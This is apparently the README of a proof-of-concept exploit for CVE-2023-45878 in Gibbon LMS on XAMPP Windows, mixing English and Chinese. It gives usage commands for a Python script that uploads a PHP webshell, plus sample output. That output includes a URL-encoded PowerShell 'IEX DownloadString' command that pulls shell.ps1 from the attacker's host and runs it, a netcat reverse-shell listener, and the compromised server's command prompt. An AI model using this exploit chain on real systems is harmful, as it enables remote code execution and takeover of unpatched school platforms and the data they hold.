
CVE-2023-45878 poc for gibbon LMS on xampp windows
CVE-2023-45878 在 XAMPP Windows 上针对 Gibbon LMS 的概念验证。 上传名为 shell.php 的 webshell 用于命令注入。 对于反向 Shell,上传一个名为 shell.ps1 的 PowerShell 反向 Shell ps1 脚本,该脚本通过 shell.php 上传到目标机器。
Python3 Requests python3 模块 netcat
pip3 install requests
mkdir CVE-2023-45878
cd CVE-2023-45878
python3 -m venv CVE
source CVE/bin/activate
cd ..
pip3 install requests
已在运行于 XAMPP Windows 且未启用杀毒软件的 Gibbon LMS 上测试。 目标可通过 Gibbon 登录页面找到,例如 http://gibbon-example/Gibbon-LMS/
python3 reverse.py --reverse-shell -target_url http://target -ip IP -port REV-PORT -srvport SRVPORT
[+] PHP Shell 上传成功到 http://target/shell.php
[+] PowerShell 反向 Shell 脚本已保存为: shell.ps1
[+] Shell 现在托管在 shell.ps1
后台启动反向 Shell 监听器...
在 ip:REV-PORT 上启动 netcat 监听器...
[+] HTTP 服务器在后台运行于端口 SRVPORT
[+] 执行 PHP Shell 以下载并执行 shell.ps1
执行: http://target/shell.php?cmd=powershell%20-nop%20-w%20hidden%20-c%20IEX%20%28New-Object%20Net.WebClient%29.DownloadString%28%27http%3A//IP%3ASRVPORT/shell.ps1%27%29
[+] HTTP 服务器已启动在 http://0.0.0.0:SRVPORT/
TARGET-IP - - [20/Mar/2025 12:59:11] "GET /shell.ps1 HTTP/1.1" 200 -
来自 TARGET-IP 的连接
PS C:\xampp\htdocs\Gibbon-LMS>
python3 reverse.py --single -target_url http://target -command whoami
[+] PHP Shell 上传成功到 http://target/shell.php
[+] 执行 PHP 命令
执行: http://target/shell.php?whoami
[+] 命令执行成功,按回车
vuln\w.webservice